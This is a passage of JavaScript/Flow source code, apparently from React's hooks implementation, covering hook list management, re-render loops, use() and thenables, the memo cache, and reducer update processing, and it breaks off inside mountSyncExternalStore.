last\n    // render. If this fires, it suggests that we incorrectly reset the static\n    // flags in some other part of the codebase. This has happened before, for\n    // example, in the SuspenseList implementation.\n    if (\n      current !== null &&\n      (current.flags & StaticMaskEffect) !==\n        (workInProgress.flags & StaticMaskEffect) &&\n      // Disable this warning in legacy mode, because legacy Suspense is weird\n      // and creates false positives. To make this work in legacy mode, we'd\n      // need to mark fibers that commit in an incomplete state, somehow. For\n      // now I'll disable the warning that most of the bugs that would trigger\n      // it are either exclusive to concurrent mode or exist in both.\n      (disableLegacyMode || (current.mode & ConcurrentMode) !== NoMode)\n    ) {\n      console.error(\n        'Internal React error: Expected static flag was missing. Please ' +\n          'notify the React team.',\n      );\n    }\n  }\n\n  didScheduleRenderPhaseUpdate = false;\n  // This is reset by checkDidRenderIdHook\n  // localIdCounter = 0;\n\n  thenableIndexCounter = 0;\n  thenableState = null;\n\n  if (didRenderTooFewHooks) {\n    throw new Error(\n      'Rendered fewer hooks than expected. This may be caused by an accidental ' +\n        'early return statement.',\n    );\n  }\n\n  if (current !== null) {\n    if (!checkIfWorkInProgressReceivedUpdate()) {\n      // If there were no changes to props or state, we need to check if there\n      // was a context change. We didn't already do this because there's no\n      // 1:1 correspondence between dependencies and hooks. Although, because\n      // there almost always is in the common case (`readContext` is an\n      // internal API), we could compare in there. OTOH, we only hit this case\n      // if everything else bails out, so on the whole it might be better to\n      // keep the comparison out of the common path.\n      const currentDependencies = current.dependencies;\n      if (\n        currentDependencies !== null &&\n        checkIfContextChanged(currentDependencies)\n      ) {\n        markWorkInProgressReceivedUpdate();\n      }\n    }\n  }\n\n  if (__DEV__) {\n    if (checkIfUseWrappedInTryCatch()) {\n      const componentName =\n        getComponentNameFromFiber(workInProgress) || 'Unknown';\n      if (\n        !didWarnAboutUseWrappedInTryCatch.has(componentName) &&\n        // This warning also fires if you suspend with `use` inside an\n        // async component. Since we warn for that above, we'll silence this\n        // second warning by checking here.\n        !didWarnAboutAsyncClientComponent.has(componentName)\n      ) {\n        didWarnAboutUseWrappedInTryCatch.add(componentName);\n        console.error(\n          '`use` was called from inside a try/catch block. This is not allowed ' +\n            'and can lead to unexpected behavior. To handle errors triggered ' +\n            'by `use`, wrap your component in a error boundary.',\n        );\n      }\n    }\n  }\n}\n\nexport function replaySuspendedComponentWithHooks<Props, SecondArg>(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  Component: (p: Props, arg: SecondArg) => any,\n  props: Props,\n  secondArg: SecondArg,\n): any {\n  // This function is used to replay a component that previously suspended,\n  // after its data resolves.\n  //\n  // It's a simplified version of renderWithHooks, but it doesn't need to do\n  // most of the set up work because they weren't reset when we suspended; they\n  // only get reset when the component either completes (finishRenderingHooks)\n  // or unwinds (resetHooksOnUnwind).\n  if (__DEV__) {\n    hookTypesUpdateIndexDev = -1;\n    // Used for hot reloading:\n    ignorePreviousDependencies =\n      current !== null && current.type !== workInProgress.type;\n  }\n  // renderWithHooks only resets the updateQueue but does not clear it, since\n  // it needs to work for both this case (suspense replay) as well as for double\n  // renders in dev and setState-in-render. However, for the suspense replay case\n  // we need to reset the updateQueue to correctly handle unmount effects, so we\n  // clear the queue here\n  workInProgress.updateQueue = null;\n  const children = renderWithHooksAgain(\n    workInProgress,\n    Component,\n    props,\n    secondArg,\n  );\n  finishRenderingHooks(current, workInProgress, Component);\n  return children;\n}\n\nfunction renderWithHooksAgain<Props, SecondArg>(\n  workInProgress: Fiber,\n  Component: (p: Props, arg: SecondArg) => any,\n  props: Props,\n  secondArg: SecondArg,\n): any {\n  // This is used to perform another render pass. It's used when setState is\n  // called during render, and for double invoking components in Strict Mode\n  // during development.\n  //\n  // The state from the previous pass is reused whenever possible. So, state\n  // updates that were already processed are not processed again, and memoized\n  // functions (`useMemo`) are not invoked again.\n  //\n  // Keep rendering in a loop for as long as render phase updates continue to\n  // be scheduled. Use a counter to prevent infinite loops.\n\n  currentlyRenderingFiber = workInProgress;\n\n  let numberOfReRenders: number = 0;\n  let children;\n  do {\n    if (didScheduleRenderPhaseUpdateDuringThisPass) {\n      // It's possible that a use() value depended on a state that was updated in\n      // this rerender, so we need to watch for different thenables this time.\n      thenableState = null;\n    }\n    thenableIndexCounter = 0;\n    didScheduleRenderPhaseUpdateDuringThisPass = false;\n\n    if (numberOfReRenders >= RE_RENDER_LIMIT) {\n      throw new Error(\n        'Too many re-renders. React limits the number of renders to prevent ' +\n          'an infinite loop.',\n      );\n    }\n\n    numberOfReRenders += 1;\n    if (__DEV__) {\n      // Even when hot reloading, allow dependencies to stabilize\n      // after first render to prevent infinite render phase updates.\n      ignorePreviousDependencies = false;\n    }\n\n    // Start over from the beginning of the list\n    currentHook = null;\n    workInProgressHook = null;\n\n    if (workInProgress.updateQueue != null) {\n      resetFunctionComponentUpdateQueue((workInProgress.updateQueue: any));\n    }\n\n    if (__DEV__) {\n      // Also validate hook order for cascading updates.\n      hookTypesUpdateIndexDev = -1;\n    }\n\n    ReactSharedInternals.H = __DEV__\n      ? HooksDispatcherOnRerenderInDEV\n      : HooksDispatcherOnRerender;\n\n    children = __DEV__\n      ? callComponentInDEV(Component, props, secondArg)\n      : Component(props, secondArg);\n  } while (didScheduleRenderPhaseUpdateDuringThisPass);\n  return children;\n}\n\nexport function renderTransitionAwareHostComponentWithHooks(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  lanes: Lanes,\n): TransitionStatus {\n  return renderWithHooks(\n    current,\n    workInProgress,\n    TransitionAwareHostComponent,\n    null,\n    null,\n    lanes,\n  );\n}\n\nexport function TransitionAwareHostComponent(): TransitionStatus {\n  const dispatcher: any = ReactSharedInternals.H;\n  const [maybeThenable] = dispatcher.useState();\n  let nextState;\n  if (typeof maybeThenable.then === 'function') {\n    const thenable: Thenable<TransitionStatus> = (maybeThenable: any);\n    nextState = useThenable(thenable);\n  } else {\n    const status: TransitionStatus = maybeThenable;\n    nextState = status;\n  }\n\n  // The \"reset state\" is an object. If it changes, that means something\n  // requested that we reset the form.\n  const [nextResetState] = dispatcher.useState();\n  const prevResetState =\n    currentHook !== null ? currentHook.memoizedState : null;\n  if (prevResetState !== nextResetState) {\n    // Schedule a form reset\n    currentlyRenderingFiber.flags |= FormReset;\n  }\n\n  return nextState;\n}\n\nexport function checkDidRenderIdHook(): boolean {\n  // This should be called immediately after every renderWithHooks call.\n  // Conceptually, it's part of the return value of renderWithHooks; it's only a\n  // separate function to avoid using an array tuple.\n  const didRenderIdHook = localIdCounter !== 0;\n  localIdCounter = 0;\n  return didRenderIdHook;\n}\n\nexport function bailoutHooks(\n  current: Fiber,\n  workInProgress: Fiber,\n  lanes: Lanes,\n): void {\n  workInProgress.updateQueue = current.updateQueue;\n  // TODO: Don't need to reset the flags here, because they're reset in the\n  // complete phase (bubbleProperties).\n  if (__DEV__ && (workInProgress.mode & StrictEffectsMode) !== NoMode) {\n    workInProgress.flags &= ~(\n      MountPassiveDevEffect |\n      MountLayoutDevEffect |\n      PassiveEffect |\n      UpdateEffect\n    );\n  } else {\n    workInProgress.flags &= ~(PassiveEffect | UpdateEffect);\n  }\n  current.lanes = removeLanes(current.lanes, lanes);\n}\n\nexport function resetHooksAfterThrow(): void {\n  // This is called immediaetly after a throw. It shouldn't reset the entire\n  // module state, because the work loop might decide to replay the component\n  // again without rewinding.\n  //\n  // It should only reset things like the current dispatcher, to prevent hooks\n  // from being called outside of a component.\n  currentlyRenderingFiber = (null: any);\n\n  // We can assume the previous dispatcher is always this one, since we set it\n  // at the beginning of the render phase and there's no re-entrance.\n  ReactSharedInternals.H = ContextOnlyDispatcher;\n}\n\nexport function resetHooksOnUnwind(workInProgress: Fiber): void {\n  if (didScheduleRenderPhaseUpdate) {\n    // There were render phase updates. These are only valid for this render\n    // phase, which we are now aborting. Remove the updates from the queues so\n    // they do not persist to the next render. Do not remove updates from hooks\n    // that weren't processed.\n    //\n    // Only reset the updates from the queue if it has a clone. If it does\n    // not have a clone, that means it wasn't processed, and the updates were\n    // scheduled before we entered the render phase.\n    let hook: Hook | null = workInProgress.memoizedState;\n    while (hook !== null) {\n      const queue = hook.queue;\n      if (queue !== null) {\n        queue.pending = null;\n      }\n      hook = hook.next;\n    }\n    didScheduleRenderPhaseUpdate = false;\n  }\n\n  renderLanes = NoLanes;\n  currentlyRenderingFiber = (null: any);\n\n  currentHook = null;\n  workInProgressHook = null;\n\n  if (__DEV__) {\n    hookTypesDev = null;\n    hookTypesUpdateIndexDev = -1;\n\n    currentHookNameInDev = null;\n  }\n\n  didScheduleRenderPhaseUpdateDuringThisPass = false;\n  localIdCounter = 0;\n  thenableIndexCounter = 0;\n  thenableState = null;\n}\n\nfunction mountWorkInProgressHook(): Hook {\n  const hook: Hook = {\n    memoizedState: null,\n\n    baseState: null,\n    baseQueue: null,\n    queue: null,\n\n    next: null,\n  };\n\n  if (workInProgressHook === null) {\n    // This is the first hook in the list\n    currentlyRenderingFiber.memoizedState = workInProgressHook = hook;\n  } else {\n    // Append to the end of the list\n    workInProgressHook = workInProgressHook.next = hook;\n  }\n  return workInProgressHook;\n}\n\nfunction updateWorkInProgressHook(): Hook {\n  // This function is used both for updates and for re-renders triggered by a\n  // render phase update. It assumes there is either a current hook we can\n  // clone, or a work-in-progress hook from a previous render pass that we can\n  // use as a base.\n  let nextCurrentHook: null | Hook;\n  if (currentHook === null) {\n    const current = currentlyRenderingFiber.alternate;\n    if (current !== null) {\n      nextCurrentHook = current.memoizedState;\n    } else {\n      nextCurrentHook = null;\n    }\n  } else {\n    nextCurrentHook = currentHook.next;\n  }\n\n  let nextWorkInProgressHook: null | Hook;\n  if (workInProgressHook === null) {\n    nextWorkInProgressHook = currentlyRenderingFiber.memoizedState;\n  } else {\n    nextWorkInProgressHook = workInProgressHook.next;\n  }\n\n  if (nextWorkInProgressHook !== null) {\n    // There's already a work-in-progress. Reuse it.\n    workInProgressHook = nextWorkInProgressHook;\n    nextWorkInProgressHook = workInProgressHook.next;\n\n    currentHook = nextCurrentHook;\n  } else {\n    // Clone from the current hook.\n\n    if (nextCurrentHook === null) {\n      const currentFiber = currentlyRenderingFiber.alternate;\n      if (currentFiber === null) {\n        // This is the initial render. This branch is reached when the component\n        // suspends, resumes, then renders an additional hook.\n        // Should never be reached because we should switch to the mount dispatcher first.\n        throw new Error(\n          'Update hook called on initial render. This is likely a bug in React. Please file an issue.',\n        );\n      } else {\n        // This is an update. We should always have a current hook.\n        throw new Error('Rendered more hooks than during the previous render.');\n      }\n    }\n\n    currentHook = nextCurrentHook;\n\n    const newHook: Hook = {\n      memoizedState: currentHook.memoizedState,\n\n      baseState: currentHook.baseState,\n      baseQueue: currentHook.baseQueue,\n      queue: currentHook.queue,\n\n      next: null,\n    };\n\n    if (workInProgressHook === null) {\n      // This is the first hook in the list.\n      currentlyRenderingFiber.memoizedState = workInProgressHook = newHook;\n    } else {\n      // Append to the end of the list.\n      workInProgressHook = workInProgressHook.next = newHook;\n    }\n  }\n  return workInProgressHook;\n}\n\nfunction createFunctionComponentUpdateQueue(): FunctionComponentUpdateQueue {\n  return {\n    lastEffect: null,\n    events: null,\n    stores: null,\n    memoCache: null,\n  };\n}\n\nfunction resetFunctionComponentUpdateQueue(\n  updateQueue: FunctionComponentUpdateQueue,\n): void {\n  updateQueue.lastEffect = null;\n  updateQueue.events = null;\n  updateQueue.stores = null;\n  if (updateQueue.memoCache != null) {\n    // NOTE: this function intentionally does not reset memoCache data. We reuse updateQueue for the memo\n    // cache to avoid increasing the size of fibers that don't need a cache, but we don't want to reset\n    // the cache when other properties are reset.\n    updateQueue.memoCache.index = 0;\n  }\n}\n\nfunction useThenable<T>(thenable: Thenable<T>): T {\n  // Track the position of the thenable within this fiber.\n  const index = thenableIndexCounter;\n  thenableIndexCounter += 1;\n  if (thenableState === null) {\n    thenableState = createThenableState();\n  }\n  const result = trackUsedThenable(thenableState, thenable, index);\n\n  // When something suspends with `use`, we replay the component with the\n  // \"re-render\" dispatcher instead of the \"mount\" or \"update\" dispatcher.\n  //\n  // But if there are additional hooks that occur after the `use` invocation\n  // that suspended, they wouldn't have been processed during the previous\n  // attempt. So after we invoke `use` again, we may need to switch from the\n  // \"re-render\" dispatcher back to the \"mount\" or \"update\" dispatcher. That's\n  // what the following logic accounts for.\n  //\n  // TODO: Theoretically this logic only needs to go into the rerender\n  // dispatcher. Could optimize, but probably not be worth it.\n\n  // This is the same logic as in updateWorkInProgressHook.\n  const workInProgressFiber = currentlyRenderingFiber;\n  const nextWorkInProgressHook =\n    workInProgressHook === null\n      ? // We're at the beginning of the list, so read from the first hook from\n        // the fiber.\n        workInProgressFiber.memoizedState\n      : workInProgressHook.next;\n\n  if (nextWorkInProgressHook !== null) {\n    // There are still hooks remaining from the previous attempt.\n  } else {\n    // There are no remaining hooks from the previous attempt. We're no longer\n    // in \"re-render\" mode. Switch to the normal mount or update dispatcher.\n    //\n    // This is the same as the logic in renderWithHooks, except we don't bother\n    // to track the hook types debug information in this case (sufficient to\n    // only do that when nothing suspends).\n    const currentFiber = workInProgressFiber.alternate;\n    if (__DEV__) {\n      if (currentFiber !== null && currentFiber.memoizedState !== null) {\n        ReactSharedInternals.H = HooksDispatcherOnUpdateInDEV;\n      } else {\n        ReactSharedInternals.H = HooksDispatcherOnMountInDEV;\n      }\n    } else {\n      ReactSharedInternals.H =\n        currentFiber === null || currentFiber.memoizedState === null\n          ? HooksDispatcherOnMount\n          : HooksDispatcherOnUpdate;\n    }\n  }\n  return result;\n}\n\nfunction use<T>(usable: Usable<T>): T {\n  if (usable !== null && typeof usable === 'object') {\n    // $FlowFixMe[method-unbinding]\n    if (typeof usable.then === 'function') {\n      // This is a thenable.\n      const thenable: Thenable<T> = (usable: any);\n      return useThenable(thenable);\n    } else if (usable.$$typeof === REACT_CONTEXT_TYPE) {\n      const context: ReactContext<T> = (usable: any);\n      return readContext(context);\n    }\n  }\n\n  // eslint-disable-next-line react-internal/safe-string-coercion\n  throw new Error('An unsupported type was passed to use(): ' + String(usable));\n}\n\nfunction useMemoCache(size: number): Array<mixed> {\n  let memoCache = null;\n  // Fast-path, load memo cache from wip fiber if already prepared\n  let updateQueue: FunctionComponentUpdateQueue | null =\n    (currentlyRenderingFiber.updateQueue: any);\n  if (updateQueue !== null) {\n    memoCache = updateQueue.memoCache;\n  }\n  // Otherwise clone from the current fiber\n  if (memoCache == null) {\n    const current: Fiber | null = currentlyRenderingFiber.alternate;\n    if (current !== null) {\n      const currentUpdateQueue: FunctionComponentUpdateQueue | null =\n        (current.updateQueue: any);\n      if (currentUpdateQueue !== null) {\n        const currentMemoCache: ?MemoCache = currentUpdateQueue.memoCache;\n        if (currentMemoCache != null) {\n          memoCache = {\n            // When enableNoCloningMemoCache is enabled, instead of treating the\n            // cache as copy-on-write, like we do with fibers, we share the same\n            // cache instance across all render attempts, even if the component\n            // is interrupted before it commits.\n            //\n            // If an update is interrupted, either because it suspended or\n            // because of another update, we can reuse the memoized computations\n            // from the previous attempt. We can do this because the React\n            // Compiler performs atomic writes to the memo cache, i.e. it will\n            // not record the inputs to a memoization without also recording its\n            // output.\n            //\n            // This gives us a form of \"resuming\" within components and hooks.\n            //\n            // This only works when updating a component that already mounted.\n            // It has no impact during initial render, because the memo cache is\n            // stored on the fiber, and since we have not implemented resuming\n            // for fibers, it's always a fresh memo cache, anyway.\n            //\n            // However, this alone is pretty useful — it happens whenever you\n            // update the UI with fresh data after a mutation/action, which is\n            // extremely common in a Suspense-driven (e.g. RSC or Relay) app.\n            data: enableNoCloningMemoCache\n              ? currentMemoCache.data\n              : // Clone the memo cache before each render (copy-on-write)\n                currentMemoCache.data.map(array => array.slice()),\n            index: 0 as number,\n          };\n        }\n      }\n    }\n  }\n  // Finally fall back to allocating a fresh instance of the cache\n  if (memoCache == null) {\n    memoCache = {\n      data: [],\n      index: 0 as number,\n    };\n  }\n  if (updateQueue === null) {\n    updateQueue = createFunctionComponentUpdateQueue();\n    currentlyRenderingFiber.updateQueue = updateQueue;\n  }\n  updateQueue.memoCache = memoCache;\n\n  let data = memoCache.data[memoCache.index];\n  if (data === undefined || (__DEV__ && ignorePreviousDependencies)) {\n    data = memoCache.data[memoCache.index] = new Array(size);\n    for (let i = 0; i < size; i++) {\n      data[i] = REACT_MEMO_CACHE_SENTINEL;\n    }\n  } else if (data.length !== size) {\n    // TODO: consider warning or throwing here\n    if (__DEV__) {\n      console.error(\n        'Expected a constant size argument for each invocation of useMemoCache. ' +\n          'The previous cache was allocated with size %s but size %s was requested.',\n        data.length,\n        size,\n      );\n    }\n  }\n  memoCache.index++;\n  return data;\n}\n\nfunction basicStateReducer<S>(state: S, action: BasicStateAction<S>): S {\n  // $FlowFixMe[incompatible-use]: Flow doesn't like mixed types\n  return typeof action === 'function' ? action(state) : action;\n}\n\nfunction mountReducer<S, I, A>(\n  reducer: (S, A) => S,\n  initialArg: I,\n  init?: I => S,\n): [S, Dispatch<A>] {\n  const hook = mountWorkInProgressHook();\n  let initialState;\n  if (init !== undefined) {\n    initialState = init(initialArg);\n    if (shouldDoubleInvokeUserFnsInHooksDEV) {\n      setIsStrictModeForDevtools(true);\n      try {\n        init(initialArg);\n      } finally {\n        setIsStrictModeForDevtools(false);\n      }\n    }\n  } else {\n    initialState = ((initialArg: any): S);\n  }\n  hook.memoizedState = hook.baseState = initialState;\n  const queue: UpdateQueue<S, A> = {\n    pending: null,\n    lanes: NoLanes,\n    dispatch: null,\n    lastRenderedReducer: reducer,\n    lastRenderedState: (initialState: any),\n  };\n  hook.queue = queue;\n  const dispatch: Dispatch<A> = (queue.dispatch = (dispatchReducerAction.bind(\n    null,\n    currentlyRenderingFiber,\n    queue,\n  ): any));\n  return [hook.memoizedState, dispatch];\n}\n\nfunction updateReducer<S, I, A>(\n  reducer: (S, A) => S,\n  initialArg: I,\n  init?: I => S,\n): [S, Dispatch<A>] {\n  const hook = updateWorkInProgressHook();\n  return updateReducerImpl(hook, ((currentHook: any): Hook), reducer);\n}\n\nfunction updateReducerImpl<S, A>(\n  hook: Hook,\n  current: Hook,\n  reducer: (S, A) => S,\n): [S, Dispatch<A>] {\n  const queue = hook.queue;\n\n  if (queue === null) {\n    throw new Error(\n      'Should have a queue. You are likely calling Hooks conditionally, ' +\n        'which is not allowed. (https://react.dev/link/invalid-hook-call)',\n    );\n  }\n\n  queue.lastRenderedReducer = reducer;\n\n  // The last rebase update that is NOT part of the base state.\n  let baseQueue = hook.baseQueue;\n\n  // The last pending update that hasn't been processed yet.\n  const pendingQueue = queue.pending;\n  if (pendingQueue !== null) {\n    // We have new updates that haven't been processed yet.\n    // We'll add them to the base queue.\n    if (baseQueue !== null) {\n      // Merge the pending queue and the base queue.\n      const baseFirst = baseQueue.next;\n      const pendingFirst = pendingQueue.next;\n      baseQueue.next = pendingFirst;\n      pendingQueue.next = baseFirst;\n    }\n    if (__DEV__) {\n      if (current.baseQueue !== baseQueue) {\n        // Internal invariant that should never happen, but feasibly could in\n        // the future if we implement resuming, or some form of that.\n        console.error(\n          'Internal error: Expected work-in-progress queue to be a clone. ' +\n            'This is a bug in React.',\n        );\n      }\n    }\n    current.baseQueue = baseQueue = pendingQueue;\n    queue.pending = null;\n  }\n\n  const baseState = hook.baseState;\n  if (baseQueue === null) {\n    // If there are no pending updates, then the memoized state should be the\n    // same as the base state. Currently these only diverge in the case of\n    // useOptimistic, because useOptimistic accepts a new baseState on\n    // every render.\n    hook.memoizedState = baseState;\n    // We don't need to call markWorkInProgressReceivedUpdate because\n    // baseState is derived from other reactive values.\n  } else {\n    // We have a queue to process.\n    const first = baseQueue.next;\n    let newState = baseState;\n\n    let newBaseState = null;\n    let newBaseQueueFirst = null;\n    let newBaseQueueLast: Update<S, A> | null = null;\n    let update = first;\n    let didReadFromEntangledAsyncAction = false;\n    do {\n      // An extra OffscreenLane bit is added to updates that were made to\n      // a hidden tree, so that we can distinguish them from updates that were\n      // already there when the tree was hidden.\n      const updateLane = removeLanes(update.lane, OffscreenLane);\n      const isHiddenUpdate = updateLane !== update.lane;\n\n      // Check if this update was made while the tree was hidden. If so, then\n      // it's not a \"base\" update and we should disregard the extra base lanes\n      // that were added to renderLanes when we entered the Offscreen tree.\n      let shouldSkipUpdate = isHiddenUpdate\n        ? !isSubsetOfLanes(getWorkInProgressRootRenderLanes(), updateLane)\n        : !isSubsetOfLanes(renderLanes, updateLane);\n\n      if (enableGestureTransition && updateLane === GestureLane) {\n        // This is a gesture optimistic update. It should only be considered as part of the\n        // rendered state while rendering the gesture lane and if the rendering the associated\n        // ScheduledGesture.\n        const scheduledGesture = update.gesture;\n        if (scheduledGesture !== null) {\n          if (scheduledGesture.count === 0 && !scheduledGesture.committing) {\n            // This gesture has already been cancelled. We can clean up this update.\n            update = update.next;\n            continue;\n          } else if (!isGestureRender(renderLanes)) {\n            shouldSkipUpdate = true;\n          } else {\n            const root: FiberRoot | null = getWorkInProgressRoot();\n            if (root === null) {\n              throw new Error(\n                'Expected a work-in-progress root. This is a bug in React. Please file an issue.',\n              );\n            }\n            // We assume that the currently rendering gesture is the one first in the queue.\n            shouldSkipUpdate = root.pendingGestures !== scheduledGesture;\n          }\n        }\n      }\n\n      if (shouldSkipUpdate) {\n        // Priority is insufficient. Skip this update. If this is the first\n        // skipped update, the previous update/state is the new base\n        // update/state.\n        const clone: Update<S, A> = {\n          lane: updateLane,\n          revertLane: update.revertLane,\n          gesture: update.gesture,\n          action: update.action,\n          hasEagerState: update.hasEagerState,\n          eagerState: update.eagerState,\n          next: (null: any),\n        };\n        if (newBaseQueueLast === null) {\n          newBaseQueueFirst = newBaseQueueLast = clone;\n          newBaseState = newState;\n        } else {\n          newBaseQueueLast = newBaseQueueLast.next = clone;\n        }\n        // Update the remaining priority in the queue.\n        // TODO: Don't need to accumulate this. Instead, we can remove\n        // renderLanes from the original lanes.\n        currentlyRenderingFiber.lanes = mergeLanes(\n          currentlyRenderingFiber.lanes,\n          updateLane,\n        );\n        markSkippedUpdateLanes(updateLane);\n      } else {\n        // This update does have sufficient priority.\n\n        // Check if this is an optimistic update.\n        const revertLane = update.revertLane;\n        if (revertLane === NoLane) {\n          // This is not an optimistic update, and we're going to apply it now.\n          // But, if there were earlier updates that were skipped, we need to\n          // leave this update in the queue so it can be rebased later.\n          if (newBaseQueueLast !== null) {\n            const clone: Update<S, A> = {\n              // This update is going to be committed so we never want uncommit\n              // it. Using NoLane works because 0 is a subset of all bitmasks, so\n              // this will never be skipped by the check above.\n              lane: NoLane,\n              revertLane: NoLane,\n              gesture: null,\n              action: update.action,\n              hasEagerState: update.hasEagerState,\n              eagerState: update.eagerState,\n              next: (null: any),\n            };\n            newBaseQueueLast = newBaseQueueLast.next = clone;\n          }\n\n          // Check if this update is part of a pending async action. If so,\n          // we'll need to suspend until the action has finished, so that it's\n          // batched together with future updates in the same action.\n          if (updateLane === peekEntangledActionLane()) {\n            didReadFromEntangledAsyncAction = true;\n          }\n        } else {\n          // This is an optimistic update. If the \"revert\" priority is\n          // sufficient, don't apply the update. Otherwise, apply the update,\n          // but leave it in the queue so it can be either reverted or\n          // rebased in a subsequent render.\n          if (isSubsetOfLanes(renderLanes, revertLane)) {\n            // The transition that this optimistic update is associated with\n            // has finished. Pretend the update doesn't exist by skipping\n            // over it.\n            update = update.next;\n\n            // Check if this update is part of a pending async action. If so,\n            // we'll need to suspend until the action has finished, so that it's\n            // batched together with future updates in the same action.\n            if (revertLane === peekEntangledActionLane()) {\n              didReadFromEntangledAsyncAction = true;\n            }\n            continue;\n          } else {\n            const clone: Update<S, A> = {\n              // Once we commit an optimistic update, we shouldn't uncommit it\n              // until the transition it is associated with has finished\n              // (represented by revertLane). Using NoLane here works because 0\n              // is a subset of all bitmasks, so this will never be skipped by\n              // the check above.\n              lane: NoLane,\n              // Reuse the same revertLane so we know when the transition\n              // has finished.\n              revertLane: update.revertLane,\n              gesture: null, // If it commits, it's no longer a gesture update.\n              action: update.action,\n              hasEagerState: update.hasEagerState,\n              eagerState: update.eagerState,\n              next: (null: any),\n            };\n            if (newBaseQueueLast === null) {\n              newBaseQueueFirst = newBaseQueueLast = clone;\n              newBaseState = newState;\n            } else {\n              newBaseQueueLast = newBaseQueueLast.next = clone;\n            }\n            // Update the remaining priority in the queue.\n            // TODO: Don't need to accumulate this. Instead, we can remove\n            // renderLanes from the original lanes.\n            currentlyRenderingFiber.lanes = mergeLanes(\n              currentlyRenderingFiber.lanes,\n              revertLane,\n            );\n            markSkippedUpdateLanes(revertLane);\n          }\n        }\n\n        // Process this update.\n        const action = update.action;\n        if (shouldDoubleInvokeUserFnsInHooksDEV) {\n          reducer(newState, action);\n        }\n        if (update.hasEagerState) {\n          // If this update is a state update (not a reducer) and was processed eagerly,\n          // we can use the eagerly computed state\n          newState = ((update.eagerState: any): S);\n        } else {\n          newState = reducer(newState, action);\n        }\n      }\n      update = update.next;\n    } while (update !== null && update !== first);\n\n    if (newBaseQueueLast === null) {\n      newBaseState = newState;\n    } else {\n      newBaseQueueLast.next = (newBaseQueueFirst: any);\n    }\n\n    // Mark that the fiber performed work, but only if the new state is\n    // different from the current state.\n    if (!is(newState, hook.memoizedState)) {\n      markWorkInProgressReceivedUpdate();\n\n      // Check if this update is part of a pending async action. If so, we'll\n      // need to suspend until the action has finished, so that it's batched\n      // together with future updates in the same action.\n      // TODO: Once we support hooks inside useMemo (or an equivalent\n      // memoization boundary like Forget), hoist this logic so that it only\n      // suspends if the memo boundary produces a new value.\n      if (didReadFromEntangledAsyncAction) {\n        const entangledActionThenable = peekEntangledActionThenable();\n        if (entangledActionThenable !== null) {\n          // TODO: Instead of the throwing the thenable directly, throw a\n          // special object like `use` does so we can detect if it's captured\n          // by userspace.\n          throw entangledActionThenable;\n        }\n      }\n    }\n\n    hook.memoizedState = newState;\n    hook.baseState = newBaseState;\n    hook.baseQueue = newBaseQueueLast;\n\n    queue.lastRenderedState = newState;\n  }\n\n  if (baseQueue === null) {\n    // `queue.lanes` is used for entangling transitions. We can set it back to\n    // zero once the queue is empty.\n    queue.lanes = NoLanes;\n  }\n\n  const dispatch: Dispatch<A> = (queue.dispatch: any);\n  return [hook.memoizedState, dispatch];\n}\n\nfunction rerenderReducer<S, I, A>(\n  reducer: (S, A) => S,\n  initialArg: I,\n  init?: I => S,\n): [S, Dispatch<A>] {\n  const hook = updateWorkInProgressHook();\n  const queue = hook.queue;\n\n  if (queue === null) {\n    throw new Error(\n      'Should have a queue. You are likely calling Hooks conditionally, ' +\n        'which is not allowed. (https://react.dev/link/invalid-hook-call)',\n    );\n  }\n\n  queue.lastRenderedReducer = reducer;\n\n  // This is a re-render. Apply the new render phase updates to the previous\n  // work-in-progress hook.\n  const dispatch: Dispatch<A> = (queue.dispatch: any);\n  const lastRenderPhaseUpdate = queue.pending;\n  let newState = hook.memoizedState;\n  if (lastRenderPhaseUpdate !== null) {\n    // The queue doesn't persist past this render pass.\n    queue.pending = null;\n\n    const firstRenderPhaseUpdate = lastRenderPhaseUpdate.next;\n    let update = firstRenderPhaseUpdate;\n    do {\n      // Process this render phase update. We don't have to check the\n      // priority because it will always be the same as the current\n      // render's.\n      const action = update.action;\n      newState = reducer(newState, action);\n      update = update.next;\n    } while (update !== firstRenderPhaseUpdate);\n\n    // Mark that the fiber performed work, but only if the new state is\n    // different from the current state.\n    if (!is(newState, hook.memoizedState)) {\n      markWorkInProgressReceivedUpdate();\n    }\n\n    hook.memoizedState = newState;\n    // Don't persist the state accumulated from the render phase updates to\n    // the base state unless the queue is empty.\n    // TODO: Not sure if this is the desired semantics, but it's what we\n    // do for gDSFP. I can't remember why.\n    if (hook.baseQueue === null) {\n      hook.baseState = newState;\n    }\n\n    queue.lastRenderedState = newState;\n  }\n  return [newState, dispatch];\n}\n\nfunction mountSyncExternalStore<T>(\n  subscribe: (() => void) => () => void,\n  getSnapshot: () => T,\n  getServerSnapshot?: () => T,\n): T {\n  const fiber = currentlyRenderingFiber;\n  const hook = mountWorkInProgressHook();\n\n  let nextSnapshot;\n  const isHydrating = getIsHydrating();\n  if (isHydrating) {\n    if (getServerSnapshot === undefined) {\n      throw new Error(\n        'Missing getServerSnapshot, which is required for ' +\n          'server-rendered content. Will revert to client rendering.',\n      );\n    }\n    nextSnapshot = getServerSnapshot();\n    if (__DEV__) {\n      if (!didWarnUncachedGetSnapshot) {\n        if (nextSnapshot !== getServerSnapshot()) {\n          console.error(\n            'The result of getServerSnapshot should be cached to avoid an infinite loop',\n          );\n          didWarnUncachedGetSnapshot = true;\n        }\n      }\n    }\n  } else {\n    nextSnapshot = getSnapshot();\n    if (__DEV__) {\n      if (!didWarnUncachedGetSnapshot) {\n        const cachedSnapshot = getSnapshot();\n        if (!is(nextSnapshot, cachedSnapshot)) {\n          console.error(\n            'The result of getSnapshot should be cached to avoid an infinite loop',\n          );\n          didWarnUncachedGetSnapshot = true;\n        }\n      }\n    }\n    // Unless we're rendering a blocking lane, schedule a consistency check.\n    // Right before committing, we will walk the tree and check if any of the\n    // stores were mutated.\n    //\n    // We won't do this if we're hydrating server-rendered content, because if\n    // the content is stale, it's already visible anyway. Instead we'll patch\n    // it up in a passive effect.\n    const root: FiberRoot | null = getWorkInProgressRoot();\n\n    if (root === null) {\n      throw new Error(\n        'Expected a work-in-progress root. This is a bug in React. Please file an issue.',\n      );\n    }\n\n    const rootRenderLanes = getWorkInProgressRootRenderLanes();\n    if (!includesBlockingLane(rootRenderLanes)) {\n      pushStoreConsistencyCheck(fiber, getSnapshot, nextSnapshot);\n    }\n  }\n\n  // Read the current snapshot from the store on every render. This breaks the\n  // normal rules of React, and only works because store updates are\n  // always synchronous.\n  hook.memoizedState = nextSnapshot;\n  const inst: StoreInstance<T> = {\n    value: nextSnapshot,\n    getSnapshot,\n  };\n  hook.queue = inst;\n\n  // 